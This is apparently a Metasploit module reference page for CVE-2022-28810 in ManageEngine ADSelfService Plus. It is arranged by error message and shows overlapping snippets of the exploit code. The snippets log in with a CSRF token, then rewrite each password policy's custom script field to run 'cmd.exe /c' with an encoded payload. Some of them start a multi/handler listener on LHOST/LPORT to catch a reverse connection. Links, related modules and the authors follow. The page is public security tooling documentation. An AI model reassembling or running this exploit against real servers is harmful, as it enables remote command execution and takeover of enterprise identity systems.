130: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:
132: # send the first login request to get the ssp token
133: res = send_request_cgi({
Failed to grab a CSRF token
Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:
125: # grab a CSRF token from the index
126: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
127: fail_with(Failure::Unreachable, 'The target did not respond') unless res
128: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129: csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
130: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:
132: # send the first login request to get the ssp token
133: res = send_request_cgi({
134: 'method' => 'POST',
135: 'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
Log in attempt failed
Here is a relevant code snippet related to the "Log in attempt failed" error message:
142: 'j_password' => datastore['PASSWORD'],
143: 'AUTHRULE_NAME' => 'ADAuthenticator',
144: 'adscsrf' => csrf_tok
145: }
146: })
147: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
148:
149: # send the second login request to get the sso token
150: res = send_request_cgi({
151: 'method' => 'POST',
152: 'uri' => normalize_uri(target_uri.path, '/j_security_check'),
Log in attempt failed
Here is a relevant code snippet related to the "Log in attempt failed" error message:
159: 'j_password' => datastore['PASSWORD'],
160: 'AUTHRULE_NAME' => 'ADAuthenticator',
161: 'adscsrf' => csrf_tok
162: }
163: })
164: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:
166: # revisit authorization.do to complete authentication
167: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
Log in attempt failed
Here is a relevant code snippet related to the "Log in attempt failed" error message:
163: })
164: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:
166: # revisit authorization.do to complete authentication
167: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170: csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:
173: print_good('Authentication successful')
Failed to grab a CSRF token
Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:
164: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302
165:
166: # revisit authorization.do to complete authentication
167: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170: csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:
173: print_good('Authentication successful')
174: csrf_tok
Failed to grab a CSRF token
Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:
166: # revisit authorization.do to complete authentication
167: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
168: fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
169: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
170: csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
171: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
172:
173: print_good('Authentication successful')
174: csrf_tok
175: end
176:
Log in attempt failed
Here is a relevant code snippet related to the "Log in attempt failed" error message:
251:
252: # Grab the list of configured policies
253: policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
254: print_status("Requesting policy list from #{policy_list_uri}")
255: res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256: fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257: policy_json = res.get_json_document
258: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259: policy_details_json = policy_json['POLICY_DETAILS']
260: fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:
The target didn't return a JSON body
Here is a relevant code snippet related to the "The target didn't return a JSON body" error message:
253: policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
254: print_status("Requesting policy list from #{policy_list_uri}")
255: res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256: fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257: policy_json = res.get_json_document
258: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259: policy_details_json = policy_json['POLICY_DETAILS']
260: fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:
262: # There can be multiple policies. This logic will loop over each one, grab the configuration
263: # details, update the configuration to include our payload, and then POST it back.
The target didn't have any configured policies
Here is a relevant code snippet related to the "The target didn't have any configured policies" error message:
255: res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
256: fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
257: policy_json = res.get_json_document
258: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
259: policy_details_json = policy_json['POLICY_DETAILS']
260: fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?
261:
262: # There can be multiple policies. This logic will loop over each one, grab the configuration
263: # details, update the configuration to include our payload, and then POST it back.
264: policy_details_json.each do |policy_entry|
265: policy_id = policy_entry['POLICY_ID']
Policy details missing name or id
Here is a relevant code snippet related to the "Policy details missing name or id" error message:
262: # There can be multiple policies. This logic will loop over each one, grab the configuration
263: # details, update the configuration to include our payload, and then POST it back.
264: policy_details_json.each do |policy_entry|
265: policy_id = policy_entry['POLICY_ID']
266: policy_name = policy_entry['POLICY_NAME']
267: fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?
268:
269: print_status("Requesting policy details for #{policy_name}")
270: res = send_request_cgi({
271: 'method' => 'GET',
272: 'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
Acquiring specific policy details failed
Here is a relevant code snippet related to the "Acquiring specific policy details failed" error message:
273: 'vars_get' =>
274: {
275: 'POLICY_ID' => policy_id
276: }
277: })
278: fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:
280: # load the JSON and insert (or remove) our payload
281: specific_policy_json = res.get_json_document
282: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283: fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
The target didn't return a JSON body
Here is a relevant code snippet related to the "The target didn't return a JSON body" error message:
277: })
278: fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:
280: # load the JSON and insert (or remove) our payload
281: specific_policy_json = res.get_json_document
282: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283: fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
284: new_payload = "cmd.exe /c #{payload.encoded}"
285:
286: if datastore['TARGET_RESET']
287: print_status('Disabling custom script functionality')
The target didn't contain the expected JSON
Here is a relevant code snippet related to the "The target didn't contain the expected JSON" error message:
278: fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200
279:
280: # load the JSON and insert (or remove) our payload
281: specific_policy_json = res.get_json_document
282: fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
283: fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
284: new_payload = "cmd.exe /c #{payload.encoded}"
285:
286: if datastore['TARGET_RESET']
287: print_status('Disabling custom script functionality')
288: specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
Policy update request failed
Here is a relevant code snippet related to the "Policy update request failed" error message:
310: 'APC_SETTINGS_DETAILS' => updated_policy,
311: 'POLICY_NAME' => policy_name,
312: 'adscsrf' => csrf_tok
313: }
314: })
315: fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200
316:
317: # spawn our own payload handler?
318: if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
319: listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
320: if listener_job_id.blank?
Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.
Here is a relevant code snippet related to the "Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process." error message:
316:
317: # spawn our own payload handler?
318: if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
319: listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
320: if listener_job_id.blank?
321: print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
322: end
323: else
324: print_good('Done!')
325: end
326: end
Go back to menu.
Related Pull Requests
- #16530 Merged Pull Request: Update PiHole module to not wait for sudo input
- #16514 Merged Pull Request: Add Zoneminder lang exec module
- #16445 Merged Pull Request: Add support for Meterpreter logging to file
- #16525 Merged Pull Request: Fix VMware Workspace ONE Access CVE-2022-22954
- #16462 Merged Pull Request: gdb_server_exec: Cleanup and add support for armle/aarch64 architectures
- #16512 Merged Pull Request: Add VMware Workspace ONE Access CVE-2022-22954
References
- CVE-2022-28810
- https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html
- https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/
See Also
Check also the following modules related to this module:
- exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
- exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
- exploit/windows/http/manageengine_adshacluster_rce
- exploit/windows/http/manageengine_appmanager_exec
- exploit/windows/http/manageengine_apps_mngr
- exploit/windows/http/manageengine_connectionid_write
- exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
- exploit/windows/misc/manageengine_eventlog_analyzer_rce
- auxiliary/admin/http/manageengine_dir_listing
- auxiliary/admin/http/manageengine_file_download
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/gather/manageengine_adaudit_plus_xnode_enum
- auxiliary/gather/manageengine_datasecurity_plus_xnode_enum
- auxiliary/scanner/http/manageengine_desktop_central_login
- auxiliary/scanner/http/manageengine_deviceexpert_traversal
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/manageengine_securitymanager_traversal
- exploit/multi/http/manageengine_auth_upload
- exploit/multi/http/manageengine_sd_uploader
- exploit/multi/http/manageengine_search_sqli
- post/linux/gather/manageengine_password_manager_creds
- exploit/windows/http/sitecore_xp_cve_2021_42237
- auxiliary/dos/http/webkitplus
- auxiliary/scanner/http/servicedesk_plus_traversal
- auxiliary/scanner/http/support_center_plus_directory_traversal
- auxiliary/scanner/oracle/isqlplus_login
- auxiliary/scanner/oracle/isqlplus_sidbrute
- exploit/unix/ssh/arista_tacplus_shell
- exploit/windows/fileformat/zahir_enterprise_plus_csv
Authors
- Jake Baines
- Hernan Diaz
- Andrew Iwamaye
- Dan Kelley
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.